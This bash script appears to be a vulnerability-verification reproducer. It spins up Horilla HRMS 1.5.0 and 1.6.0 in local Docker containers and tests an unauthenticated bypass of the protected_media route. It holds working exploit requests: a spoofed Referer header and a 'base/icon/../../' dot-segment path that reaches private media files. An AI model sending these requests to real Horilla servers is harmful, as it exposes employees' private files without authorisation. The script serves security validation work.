#!/bin/bash
set -euo pipefail

# Variant/bypass reproducer for Horilla protected_media.
# Exit 0 = the variant is reproduced on the fixed version (true bypass).
# Exit 1 = the script ran, but the fixed-version bypass was not reproduced.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
OUT_ROOT="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$OUT_ROOT"

RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-$$"
RUN_DIR="$OUT_ROOT/runtime_$RUN_ID"
mkdir -p "$RUN_DIR/source" "$RUN_DIR/attempts" "$RUN_DIR/deps" "$RUN_DIR/prepared_runtime"
MAIN_LOG="$LOGS/reproduction_steps_${RUN_ID}.log"
exec > >(tee "$LOGS/reproduction_steps.log" "$MAIN_LOG") 2>&1

REPO_URL="https://github.com/horilla/horilla-hr.git"
VULN_TAG="1.5.0"
VULN_COMMIT_EXPECTED="61bd5173220d19925ad8220db9152a75c881ea73"
FIXED_TAG="1.6.0"
FIXED_COMMIT_EXPECTED="b3bd29d15819cbece45c58e6268ddd0614e387d6"
SOURCE_FIX_COMMIT="b6eaec1386d8b8741a42fe7c78f318f073375791"
BASE_IMAGE="python:3.10-slim-bullseye"

CONTAINERS=()
VARIANT_CONFIRMED=false
TARGET_PATH_REACHED=false
HEALTHCHECK_PASSED=false
SERVICE_STARTED=false
TRIGGER_PATH_VALUE=""
RESULT_NOTES="script started"

log_step() {
  printf '\n[%s] %s\n' "$(date -u +%H:%M:%SZ)" "$*" >&2
}

cleanup() {
  local c
  for c in "${CONTAINERS[@]:-}"; do
    docker rm -f "$c" >/dev/null 2>&1 || true
  done
  docker ps -aq --filter "name=pruva-horilla-variant" | xargs -r docker rm -f >/dev/null 2>&1 || true
}
trap cleanup EXIT

require_tool() {
  command -v "$1" >/dev/null 2>&1 || { echo "Required tool not found: $1"; exit 2; }
}

require_tool git
require_tool docker
require_tool curl
require_tool python3

docker ps >/dev/null
log_step "Ensuring Docker base image $BASE_IMAGE is available"
docker pull "$BASE_IMAGE" >/dev/null

# Resolve cache. Project cache is allowed for reusable repo/package/build data when prepared.
CACHE_INFO="$RUN_DIR/cache_context_resolved.json"
ROOT_ENV="$ROOT" python3 - <<'PY' > "$CACHE_INFO"
import json, os, pathlib
root = pathlib.Path(os.environ["ROOT_ENV"])
ctx_path = root / "project_cache_context.json"
info = {"prepared": False, "project_cache_dir": str(root / "vuln_variant" / "cache"), "repo_mirror_dir": None, "cache_manifest_path": None}
if ctx_path.exists():
    try:
        ctx = json.loads(ctx_path.read_text())
        if ctx.get("prepared") and ctx.get("project_cache_dir"):
            info.update({
                "prepared": True,
                "project_cache_dir": ctx.get("project_cache_dir"),
                "repo_mirror_dir": ctx.get("repo_mirror_dir"),
                "cache_manifest_path": ctx.get("cache_manifest_path"),
            })
    except Exception as exc:
        info["error"] = str(exc)
print(json.dumps(info, indent=2, sort_keys=True))
PY
CACHE_DIR="$(python3 - <<'PY' "$CACHE_INFO"
import json, pathlib, sys
print(json.loads(pathlib.Path(sys.argv[1]).read_text())["project_cache_dir"])
PY
)"
mkdir -p "$CACHE_DIR" "$CACHE_DIR/deps" "$CACHE_DIR/worktrees" "$OUT_ROOT/worktrees"

REPO="$CACHE_DIR/repo"
log_step "Preparing Horilla repository at $REPO"
if [ ! -d "$REPO/.git" ]; then
  rm -rf "$REPO"
  git clone "$REPO_URL" "$REPO"
else
  git -C "$REPO" remote set-url origin "$REPO_URL" || true
  git -C "$REPO" fetch --tags origin '+refs/heads/*:refs/remotes/origin/*'
fi

git -C "$REPO" worktree prune || true
VULN_COMMIT="$(git -C "$REPO" rev-parse "$VULN_TAG^{commit}")"
FIXED_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_TAG^{commit}")"
SOURCE_FIX_RESOLVED="$(git -C "$REPO" rev-parse "$SOURCE_FIX_COMMIT^{commit}")"
LATEST_REF="origin/master"
LATEST_COMMIT="$(git -C "$REPO" rev-parse "$LATEST_REF^{commit}" 2>/dev/null || true)"

if [ "$VULN_COMMIT" != "$VULN_COMMIT_EXPECTED" ]; then
  echo "Unexpected vulnerable tag commit: $VULN_COMMIT"; exit 2
fi
if [ "$FIXED_COMMIT" != "$FIXED_COMMIT_EXPECTED" ]; then
  echo "Unexpected fixed tag commit: $FIXED_COMMIT"; exit 2
fi
if ! git -C "$REPO" merge-base --is-ancestor "$SOURCE_FIX_RESOLVED" "$FIXED_COMMIT"; then
  echo "Source fix commit is not an ancestor of fixed release"; exit 2
fi

{
  echo "repository=$REPO_URL"
  echo "fixed_tag=$FIXED_TAG"
  echo "fixed_commit=$FIXED_COMMIT"
  echo "source_fix_commit=$SOURCE_FIX_RESOLVED"
  echo "tested_by=reproduction_steps.sh runtime matrix"
} > "$LOGS/fixed_version.txt"
{
  echo "repository=$REPO_URL"
  echo "latest_ref=$LATEST_REF"
  echo "latest_commit=${LATEST_COMMIT:-unresolved}"
  if [ -n "$LATEST_COMMIT" ]; then
    if git -C "$REPO" show "$LATEST_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p' | grep -q 'is_public_asset = any(path.startswith(prefix)'; then
      echo "latest_source_inspection=raw_prefix_check_present_in_protected_media"
    else
      echo "latest_source_inspection=raw_prefix_check_not_found"
    fi
  fi
} > "$LOGS/latest_version.txt"

SOURCE_LOG="$RUN_DIR/source/patch_and_security_scope.log"
{
  echo "Repository: $REPO_URL"
  echo "Vulnerable target: $VULN_TAG $VULN_COMMIT"
  echo "Fixed target: $FIXED_TAG $FIXED_COMMIT"
  echo "Source fix commit: $SOURCE_FIX_RESOLVED"
  echo "Latest inspected ref: $LATEST_REF ${LATEST_COMMIT:-unresolved}"
  echo
  echo "--- SECURITY.md excerpt ---"
  git -C "$REPO" show "$FIXED_COMMIT:SECURITY.md" | sed -n '1,120p'
  echo
  echo "--- source fix diff for base/views.py ---"
  git -C "$REPO" show --stat --patch --find-renames "$SOURCE_FIX_RESOLVED" -- base/views.py | sed -n '1,180p'
  echo
  echo "--- vulnerable protected_media excerpt ---"
  git -C "$REPO" show "$VULN_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p'
  echo
  echo "--- fixed protected_media excerpt ---"
  git -C "$REPO" show "$FIXED_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p'
  if [ -n "$LATEST_COMMIT" ]; then
    echo
    echo "--- latest inspected protected_media excerpt ---"
    git -C "$REPO" show "$LATEST_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p' | sed -n '1,80p'
  fi
} > "$SOURCE_LOG" 2>&1
cp "$SOURCE_LOG" "$LOGS/patch_and_security_scope.log"

prepare_worktree() {
  local commit="$1" role="$2"
  local wt="$OUT_ROOT/worktrees/horilla-${role}-${commit:0:12}"
  mkdir -p "$(dirname "$wt")"
  if [ -e "$wt/.git" ] || [ -f "$wt/.git" ]; then
    git -C "$wt" checkout --detach "$commit" >/dev/null
    git -C "$wt" reset --hard "$commit" >/dev/null
    git -C "$wt" clean -fdx >/dev/null
  else
    rm -rf "$wt"
    git -C "$REPO" worktree add --detach "$wt" "$commit" >/dev/null
  fi
  git -C "$wt" rev-parse HEAD > "$RUN_DIR/source/${role}_worktree_head.txt"
  printf '%s' "$wt"
}

requirements_sha() {
  python3 - <<'PY' "$1/requirements.txt"
import hashlib, pathlib, sys
print(hashlib.sha256(pathlib.Path(sys.argv[1]).read_bytes()).hexdigest())
PY
}

install_deps_for_worktree() {
  local role="$1" wt="$2"
  local req_sha deps marker install_log freeze_log
  req_sha="$(requirements_sha "$wt")"
  deps="/tmp/pruva-horilla-deps-${req_sha:0:16}"
  marker="$deps/.pruva-install-complete"
  install_log="$LOGS/pip_install_${role}_${req_sha:0:16}_${RUN_ID}.log"
  freeze_log="$RUN_DIR/deps/${role}_${req_sha:0:16}_pip_freeze.txt"
  if [ ! -f "$marker" ]; then
    log_step "Installing $role requirements into reusable dependency directory $deps"
    rm -rf "$deps"
    mkdir -p "$deps/.tmp"
    if ! docker run --rm \
      -v "$deps:/deps:rw" \
      -v "$deps/.tmp:/tmp:rw" \
      -v "$wt/requirements.txt:/requirements.txt:ro" \
      -e TMPDIR=/tmp \
      -e PIP_CACHE_DIR=/tmp/pip-cache \
      -e PIP_DISABLE_PIP_VERSION_CHECK=1 \
      "$BASE_IMAGE" \
      /bin/bash -lc 'python -m pip install --no-cache-dir --no-compile --target /deps -r /requirements.txt' > "$install_log" 2>&1; then
      cat "$install_log" >&2
      echo "Dependency installation failed for $role requirements $req_sha" >&2
      return 2
    fi
    touch "$marker"
  else
    echo "Reusing dependency directory $deps for requirements sha $req_sha" | tee "$install_log" >&2
  fi
  docker run --rm -v "$deps:/deps:ro" -e PYTHONPATH=/deps "$BASE_IMAGE" /bin/bash -lc 'python -m pip freeze --path /deps | sort' > "$freeze_log" 2>&1 || true
  printf '%s' "$deps"
}

prepare_role_runtime() {
  local role="$1" wt="$2" deps="$3"
  local prep_dir="$RUN_DIR/prepared_runtime/$role"
  local runtime_dir="$prep_dir/runtime"
  local prep_log="$prep_dir/prepare_runtime.log"
  mkdir -p "$runtime_dir"
  rm -f "$runtime_dir/TestDB_Horilla.sqlite3" "$runtime_dir/TestDB_Horilla.sqlite3-journal"
  log_step "Preparing migrated SQLite runtime for $role"
  if ! docker run --rm \
    -v "$wt:/app:rw" \
    -v "$deps:/deps:ro" \
    -v "$runtime_dir:/runtime:rw" \
    -e PYTHONPATH=/deps:/app \
    -e PYTHONDONTWRITEBYTECODE=1 \
    -e DB_NAME=/runtime/TestDB_Horilla.sqlite3 \
    -w /app \
    "$BASE_IMAGE" /bin/bash -lc 'set -euo pipefail; cd /app; python manage.py makemigrations base employee recruitment leave pms onboarding asset attendance payroll notifications --noinput; python manage.py migrate --run-syncdb --noinput; python manage.py check --deploy || true' > "$prep_log" 2>&1; then
    cat "$prep_log" >&2
    echo "Runtime preparation failed for $role" >&2
    return 2
  fi
  git -C "$wt" status --short --untracked-files=all > "$prep_dir/modified_file_inventory_after_prepare.txt" 2>&1 || true
  if [ ! -s "$runtime_dir/TestDB_Horilla.sqlite3" ]; then
    echo "Runtime DB was not created for $role" >&2
    return 2
  fi
  printf '%s' "$runtime_dir/TestDB_Horilla.sqlite3"
}

request_once() {
  local name="$1" url="$2" referer="$3" outdir="$4"
  local request_file="$outdir/${name}_request.txt"
  local headers_file="$outdir/${name}_response_headers.txt"
  local body_file="$outdir/${name}_response_body.bin"
  local trace_file="$outdir/${name}_curl_trace.txt"
  local stderr_file="$outdir/${name}_curl_stderr.txt"
  local meta_file="$outdir/${name}_meta.json"
  local path_part="/${url#*://*/}"
  {
    echo "GET $path_part HTTP/1.1"
    echo "Host: ${url#http://}" | sed 's#/.*##'
    echo "User-Agent: pruva-vuln-variant-curl/1.0"
    if [ "$referer" = "__NONE__" ]; then
      echo "Referer: <absent>"
    else
      echo "Referer: $referer"
    fi
    echo "Cookie: <absent>"
    echo "Authorization: <absent>"
    echo "Redirect following: disabled"
  } > "$request_file"
  local status
  if [ "$referer" = "__NONE__" ]; then
    status="$(curl --http1.1 --path-as-is -sS --max-time 20 \
      -H 'User-Agent: pruva-vuln-variant-curl/1.0' \
      --trace-ascii "$trace_file" \
      -D "$headers_file" -o "$body_file" \
      -w '%{http_code}' "$url" 2>"$stderr_file" || true)"
  else
    status="$(curl --http1.1 --path-as-is -sS --max-time 20 \
      -H 'User-Agent: pruva-vuln-variant-curl/1.0' \
      -H "Referer: $referer" \
      --trace-ascii "$trace_file" \
      -D "$headers_file" -o "$body_file" \
      -w '%{http_code}' "$url" 2>"$stderr_file" || true)"
  fi
  STATUS="$status" URL="$url" REFERER="$referer" BODY="$body_file" HEADERS="$headers_file" TRACE="$trace_file" python3 - <<'PY' > "$meta_file"
import hashlib, json, os, pathlib
body = pathlib.Path(os.environ["BODY"])
headers = pathlib.Path(os.environ["HEADERS"])
print(json.dumps({
    "url": os.environ["URL"],
    "http_status": os.environ["STATUS"],
    "referer": None if os.environ["REFERER"] == "__NONE__" else os.environ["REFERER"],
    "cookie_header_sent": False,
    "authorization_header_sent": False,
    "redirect_following": False,
    "body_sha256": hashlib.sha256(body.read_bytes()).hexdigest() if body.exists() else None,
    "body_size": body.stat().st_size if body.exists() else 0,
    "response_headers_excerpt": headers.read_text(errors="replace")[:2000] if headers.exists() else "",
}, indent=2, sort_keys=True))
PY
  printf '%s' "$status"
}

start_target() {
  local role="$1" wt="$2" deps="$3" port="$4" media_dir="$5" runtime_dir="$6" outdir="$7"
  local name="pruva-horilla-variant-${role}-${RUN_ID//[^A-Za-z0-9]/}"
  log_step "Starting $role Horilla runserver on 127.0.0.1:$port"
  local cid
  cid="$(docker run -d --name "$name" \
    -p "127.0.0.1:${port}:8000" \
    -v "$wt:/app:rw" \
    -v "$deps:/deps:ro" \
    -v "$media_dir:/app/media:rw" \
    -v "$runtime_dir:/runtime:rw" \
    -e PYTHONPATH=/deps:/app \
    -e PYTHONDONTWRITEBYTECODE=1 \
    -e DB_NAME=/runtime/TestDB_Horilla.sqlite3 \
    -w /app \
    "$BASE_IMAGE" /bin/bash -lc 'cd /app; exec python manage.py runserver 0.0.0.0:8000 --noreload')"
  echo "$cid" > "$outdir/container_id.txt"
  docker inspect "$cid" > "$outdir/container_inspect.json"
  local health_body="$outdir/health_response_body.txt"
  local health_headers="$outdir/health_response_headers.txt"
  local health_status="000"
  for _ in $(seq 1 90); do
    if ! docker inspect -f '{{.State.Running}}' "$cid" 2>/dev/null | grep -q true; then
      docker logs "$cid" > "$outdir/server_failed_before_health.log" 2>&1 || true
      echo "Container exited before health check passed" >&2
      return 2
    fi
    health_status="$(curl --http1.1 --path-as-is -sS --max-time 3 -D "$health_headers" -o "$health_body" -w '%{http_code}' "http://127.0.0.1:${port}/health/" 2>/dev/null || true)"
    if [ "$health_status" = "200" ]; then
      break
    fi
    sleep 2
  done
  docker logs "$cid" > "$outdir/server_startup.log" 2>&1 || true
  if [ "$health_status" != "200" ]; then
    echo "Health check failed for $role: status $health_status" >&2
    return 2
  fi
  printf '%s' "$cid"
}

stop_target_and_collect() {
  local cid="$1" wt="$2" outdir="$3"
  docker logs "$cid" > "$outdir/server_final.log" 2>&1 || true
  docker rm -f "$cid" >/dev/null 2>&1 || true
  git -C "$wt" status --short --untracked-files=all > "$outdir/modified_file_inventory_after_startup.txt" 2>&1 || true
}

body_contains_canary() {
  local body="$1" canary_file="$2"
  grep -aFq "$(cat "$canary_file")" "$body" 2>/dev/null
}

run_role() {
  local role="$1" wt="$2" deps="$3" db_template="$4" port="$5" commit="$6" tag="$7"
  local outdir="$RUN_DIR/attempts/$role"
  local media_dir="$outdir/media"
  local runtime_dir="$outdir/runtime"
  mkdir -p "$outdir" "$media_dir/private-data/$RUN_ID" "$media_dir/base/icon" "$runtime_dir"

  local canary_file="$outdir/private_canary.txt"
  local public_file="$outdir/public_canary.txt"
  ROLE="$role" python3 - <<'PY' > "$canary_file"
import os, secrets, sys
sys.stdout.write("HORILLA_VARIANT_PRIVATE_CANARY:%s:%s" % (os.environ["ROLE"], secrets.token_hex(24)))
PY
  ROLE="$role" python3 - <<'PY' > "$public_file"
import os, secrets, sys
sys.stdout.write("HORILLA_VARIANT_PUBLIC_LIVENESS:%s:%s" % (os.environ["ROLE"], secrets.token_hex(12)))
PY
  local private_path="private-data/$RUN_ID/${role}-secret.txt"
  local public_path="base/icon/liveness-${RUN_ID}-${role}.txt"
  # The variant path starts with a public prefix in the raw URL, then escapes that prefix
  # with dot-segments while remaining inside MEDIA_ROOT after safe_join normalization.
  local variant_path="base/icon/../../${private_path}"
  mkdir -p "$(dirname "$media_dir/$private_path")" "$(dirname "$media_dir/$public_path")"
  cp "$canary_file" "$media_dir/$private_path"
  cp "$public_file" "$media_dir/$public_path"
  chmod -R a+rX "$media_dir"
  cp "$db_template" "$runtime_dir/TestDB_Horilla.sqlite3"
  chmod u+rw "$runtime_dir/TestDB_Horilla.sqlite3"

  if [ "$role" = "fixed" ]; then
    TRIGGER_PATH_VALUE="/media/${variant_path}"
  fi

  ROLE="$role" COMMIT="$commit" TAG="$tag" PRIVATE_PATH="$private_path" VARIANT_PATH="$variant_path" PUBLIC_PATH="$public_path" PORT="$port" python3 - <<'PY' > "$outdir/attempt_setup.json"
import json, os
print(json.dumps({
    "role": os.environ["ROLE"],
    "tag": os.environ["TAG"],
    "commit": os.environ["COMMIT"],
    "port": int(os.environ["PORT"]),
    "private_media_path": os.environ["PRIVATE_PATH"],
    "public_liveness_media_path": os.environ["PUBLIC_PATH"],
    "variant_media_path": os.environ["VARIANT_PATH"],
    "variant_raw_url_property": "starts with base/icon/ public prefix, then uses ../../ to resolve to the private path inside MEDIA_ROOT",
    "attacker_credentials": None,
    "attacker_headers_required_for_variant": None,
}, indent=2, sort_keys=True))
PY

  local cid
  cid="$(start_target "$role" "$wt" "$deps" "$port" "$media_dir" "$runtime_dir" "$outdir")"
  CONTAINERS+=("$cid")
  SERVICE_STARTED=true
  HEALTHCHECK_PASSED=true

  local base="http://127.0.0.1:${port}/media/${private_path}"
  local variant="http://127.0.0.1:${port}/media/${variant_path}"
  local public="http://127.0.0.1:${port}/media/${public_path}"

  local public_status baseline_status original_referer_status variant_status
  public_status="$(request_once public_liveness "$public" __NONE__ "$outdir")"
  baseline_status="$(request_once direct_private_no_referer "$base" __NONE__ "$outdir")"
  original_referer_status="$(request_once direct_private_spoofed_referer "$base" "http://attacker.invalid/login" "$outdir")"
  variant_status="$(request_once dotsegment_public_prefix_variant "$variant" __NONE__ "$outdir")"
  TARGET_PATH_REACHED=true

  stop_target_and_collect "$cid" "$wt" "$outdir"

  local public_ok=false baseline_denied=false original_referer_ok=false original_referer_denied=false variant_ok=false
  if [ "$public_status" = "200" ] && cmp -s "$outdir/public_liveness_response_body.bin" "$public_file"; then public_ok=true; fi
  if [ "$baseline_status" != "200" ] && ! body_contains_canary "$outdir/direct_private_no_referer_response_body.bin" "$canary_file"; then baseline_denied=true; fi
  if [ "$original_referer_status" = "200" ] && cmp -s "$outdir/direct_private_spoofed_referer_response_body.bin" "$canary_file"; then original_referer_ok=true; fi
  if [ "$original_referer_status" != "200" ] && ! body_contains_canary "$outdir/direct_private_spoofed_referer_response_body.bin" "$canary_file"; then original_referer_denied=true; fi
  if [ "$variant_status" = "200" ] && cmp -s "$outdir/dotsegment_public_prefix_variant_response_body.bin" "$canary_file"; then variant_ok=true; fi

  local oracle_passed=false
  if [ "$role" = "vuln" ]; then
    if [ "$public_ok" = true ] && [ "$baseline_denied" = true ] && [ "$original_referer_ok" = true ] && [ "$variant_ok" = true ]; then oracle_passed=true; fi
  else
    if [ "$public_ok" = true ] && [ "$baseline_denied" = true ] && [ "$original_referer_denied" = true ] && [ "$variant_ok" = true ]; then oracle_passed=true; fi
  fi

  ROLE="$role" PUBLIC_STATUS="$public_status" BASELINE_STATUS="$baseline_status" ORIGINAL_REFERER_STATUS="$original_referer_status" VARIANT_STATUS="$variant_status" PUBLIC_OK="$public_ok" BASELINE_DENIED="$baseline_denied" ORIGINAL_REFERER_OK="$original_referer_ok" ORIGINAL_REFERER_DENIED="$original_referer_denied" VARIANT_OK="$variant_ok" ORACLE_PASSED="$oracle_passed" python3 - <<'PY' > "$outdir/attempt_result.json"
import json, os
print(json.dumps({
    "role": os.environ["ROLE"],
    "public_status": os.environ["PUBLIC_STATUS"],
    "direct_private_no_referer_status": os.environ["BASELINE_STATUS"],
    "direct_private_spoofed_referer_status": os.environ["ORIGINAL_REFERER_STATUS"],
    "dotsegment_public_prefix_variant_status": os.environ["VARIANT_STATUS"],
    "public_liveness_exact": os.environ["PUBLIC_OK"] == "true",
    "direct_private_no_referer_denied_and_no_canary": os.environ["BASELINE_DENIED"] == "true",
    "original_referer_trigger_returned_exact_canary": os.environ["ORIGINAL_REFERER_OK"] == "true",
    "original_referer_trigger_denied_and_no_canary": os.environ["ORIGINAL_REFERER_DENIED"] == "true",
    "dotsegment_variant_returned_exact_canary": os.environ["VARIANT_OK"] == "true",
    "oracle_passed": os.environ["ORACLE_PASSED"] == "true",
}, indent=2, sort_keys=True))
PY
  cat "$outdir/attempt_result.json"
  if [ "$oracle_passed" = true ]; then
    return 0
  fi
  return 1
}

VULN_WT="$(prepare_worktree "$VULN_COMMIT" vuln)"
FIXED_WT="$(prepare_worktree "$FIXED_COMMIT" fixed)"
VULN_DEPS="$(install_deps_for_worktree vuln "$VULN_WT")"
FIXED_DEPS="$(install_deps_for_worktree fixed "$FIXED_WT")"
VULN_DB_TEMPLATE="$(prepare_role_runtime vuln "$VULN_WT" "$VULN_DEPS")"
FIXED_DB_TEMPLATE="$(prepare_role_runtime fixed "$FIXED_WT" "$FIXED_DEPS")"

BASE_PORT=$((28000 + (($$ % 1000) * 3)))
log_step "Running variant matrix: vulnerable tag first, then fixed tag with the same dot-segment public-prefix exploit"
VULN_PASS=false
FIXED_PASS=false
if run_role vuln "$VULN_WT" "$VULN_DEPS" "$VULN_DB_TEMPLATE" $((BASE_PORT + 1)) "$VULN_COMMIT" "$VULN_TAG"; then
  VULN_PASS=true
fi
if run_role fixed "$FIXED_WT" "$FIXED_DEPS" "$FIXED_DB_TEMPLATE" $((BASE_PORT + 2)) "$FIXED_COMMIT" "$FIXED_TAG"; then
  FIXED_PASS=true
fi

if [ "$FIXED_PASS" = true ]; then
  VARIANT_CONFIRMED=true
  RESULT_NOTES="Confirmed bypass: Horilla $FIXED_TAG returns an unauthenticated private canary when the raw /media/ path starts with public prefix base/icon/ and then uses ../../ to resolve to the private file inside MEDIA_ROOT."
else
  RESULT_NOTES="No fixed-version bypass reproduced by this runtime matrix."
fi

SUMMARY="$RUN_DIR/matrix_summary.json"
RUN_DIR_ENV="$RUN_DIR" VULN_PASS="$VULN_PASS" FIXED_PASS="$FIXED_PASS" VARIANT_CONFIRMED="$VARIANT_CONFIRMED" python3 - <<'PY' > "$SUMMARY"
import json, os, pathlib
run_dir = pathlib.Path(os.environ["RUN_DIR_ENV"])
results = []
for p in sorted((run_dir / "attempts").glob("*/attempt_result.json")):
    results.append(json.loads(p.read_text()))
print(json.dumps({
    "schema_version": 1,
    "run_id": run_dir.name,
    "variant_confirmed_on_fixed": os.environ["VARIANT_CONFIRMED"] == "true",
    "vulnerable_oracle_passed": os.environ["VULN_PASS"] == "true",
    "fixed_bypass_oracle_passed": os.environ["FIXED_PASS"] == "true",
    "attempt_results": results,
}, indent=2, sort_keys=True))
PY
cp "$SUMMARY" "$LOGS/latest_matrix_summary.json"

git -C "$VULN_WT" rev-parse HEAD > "$RUN_DIR/source/vuln_tested_commit.txt"
git -C "$FIXED_WT" rev-parse HEAD > "$RUN_DIR/source/fixed_tested_commit.txt"

# Structured outputs for the variant stage. The human RCA and manifest may add more context.
RUNTIME_MANIFEST="$OUT_ROOT/runtime_manifest.json"
VALIDATION_VERDICT="$OUT_ROOT/validation_verdict.json"
SOURCE_IDENTITY="$OUT_ROOT/source_identity.json"
ROOT_ENV="$ROOT" RUN_DIR_ENV="$RUN_DIR" MAIN_LOG_ENV="$MAIN_LOG" VULN_COMMIT="$VULN_COMMIT" FIXED_COMMIT="$FIXED_COMMIT" SOURCE_FIX="$SOURCE_FIX_RESOLVED" LATEST_REF="$LATEST_REF" LATEST_COMMIT="${LATEST_COMMIT:-}" SERVICE_STARTED="$SERVICE_STARTED" HEALTHCHECK_PASSED="$HEALTHCHECK_PASSED" TARGET_PATH_REACHED="$TARGET_PATH_REACHED" VARIANT_CONFIRMED="$VARIANT_CONFIRMED" TRIGGER_PATH_VALUE="$TRIGGER_PATH_VALUE" RESULT_NOTES="$RESULT_NOTES" python3 - <<'PY' > "$RUNTIME_MANIFEST"
import json, os, pathlib
root = pathlib.Path(os.environ["ROOT_ENV"])
run_dir = pathlib.Path(os.environ["RUN_DIR_ENV"])
proofs = []
for p in sorted(run_dir.rglob("*")):
    if p.is_file():
        try:
            proofs.append(str(p.relative_to(root)))
        except ValueError:
            proofs.append(str(p))
proofs.append(str(pathlib.Path(os.environ["MAIN_LOG_ENV"]).relative_to(root)))
print(json.dumps({
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "real Horilla /media/<path> HTTP route",
    "service_started": os.environ["SERVICE_STARTED"] == "true",
    "healthcheck_passed": os.environ["HEALTHCHECK_PASSED"] == "true",
    "target_path_reached": os.environ["TARGET_PATH_REACHED"] == "true",
    "runtime_stack": ["Docker", "python:3.10-slim-bullseye", "Horilla Django runserver", "SQLite"],
    "tested_vulnerable_commit": os.environ["VULN_COMMIT"],
    "tested_fixed_commit": os.environ["FIXED_COMMIT"],
    "source_fix_commit": os.environ["SOURCE_FIX"],
    "latest_inspected_ref": os.environ["LATEST_REF"],
    "latest_inspected_commit": os.environ.get("LATEST_COMMIT") or None,
    "variant_confirmed_on_fixed": os.environ["VARIANT_CONFIRMED"] == "true",
    "proof_artifacts": proofs,
    "notes": os.environ["RESULT_NOTES"],
}, indent=2, sort_keys=True))
PY
ROOT_ENV="$ROOT" RUN_DIR_ENV="$RUN_DIR" VULN_COMMIT="$VULN_COMMIT" FIXED_COMMIT="$FIXED_COMMIT" VARIANT_CONFIRMED="$VARIANT_CONFIRMED" TRIGGER_PATH_VALUE="$TRIGGER_PATH_VALUE" RESULT_NOTES="$RESULT_NOTES" python3 - <<'PY' > "$VALIDATION_VERDICT"
import json, os
confirmed = os.environ["VARIANT_CONFIRMED"] == "true"
print(json.dumps({
    "variant_outcome": "confirmed" if confirmed else "not_confirmed",
    "bypass_confirmed": confirmed,
    "relation_to_parent": "bypass_of_fixed_release" if confirmed else "not_a_bypass",
    "validated_surface": "api_remote" if confirmed else None,
    "evidence_scope": "production_path" if confirmed else "runtime_attempted",
    "claimed_impact_class": "authz_bypass",
    "observed_impact_class": "authz_bypass" if confirmed else "none",
    "exploitability_confidence": "high" if confirmed else "low",
    "attacker_controlled_input": "Unauthenticated /media/<path> URL containing base/icon/../../private-data/... dot-segments; no cookie, authorization header, or Referer is required for the variant.",
    "trigger_path": os.environ["TRIGGER_PATH_VALUE"] or None,
    "end_to_end_target_reached": confirmed,
    "fixed_target_tested": {"tag": "1.6.0", "commit_sha": os.environ["FIXED_COMMIT"]},
    "vulnerable_target_tested": {"tag": "1.5.0", "commit_sha": os.environ["VULN_COMMIT"]},
    "blocking_mitigation": None if confirmed else "fixed target did not return the private canary for the dot-segment public-prefix variant",
    "inferred": False,
    "notes": os.environ["RESULT_NOTES"],
}, indent=2, sort_keys=True))
PY
ROOT_ENV="$ROOT" VULN_COMMIT="$VULN_COMMIT" FIXED_COMMIT="$FIXED_COMMIT" LATEST_REF="$LATEST_REF" LATEST_COMMIT="${LATEST_COMMIT:-}" python3 - <<'PY' > "$SOURCE_IDENTITY"
import json, os
repo = "https://github.com/horilla/horilla-hr.git"
submitted = {
    "target_kind": "git_tag",
    "version": "1.5.0",
    "ref": "1.5.0",
    "commit_sha": os.environ["VULN_COMMIT"],
    "display": "Horilla HRMS 1.5.0 (submitted vulnerable target)",
}
variant = {
    "target_kind": "git_tag",
    "version": "1.6.0",
    "ref": "1.6.0",
    "commit_sha": os.environ["FIXED_COMMIT"],
    "display": "Horilla HRMS 1.6.0 fixed release (bypass target)",
}
print(json.dumps({
    "repository": repo,
    "commit_source": "git_rev_parse",
    "commit_sha": os.environ["FIXED_COMMIT"],
    "submitted_target": submitted,
    "variant_target": variant,
    "notes": "Runtime matrix in reproduction_steps.sh tested the fixed release commit exactly. Latest/default source was inspected at %s %s and retained the same raw public-prefix check." % (os.environ["LATEST_REF"], os.environ.get("LATEST_COMMIT") or "unresolved"),
}, indent=2, sort_keys=True))
PY

log_step "Variant matrix complete: vulnerable_oracle=$VULN_PASS fixed_bypass_oracle=$FIXED_PASS"
if [ "$VARIANT_CONFIRMED" = true ]; then
  exit 0
fi
exit 1
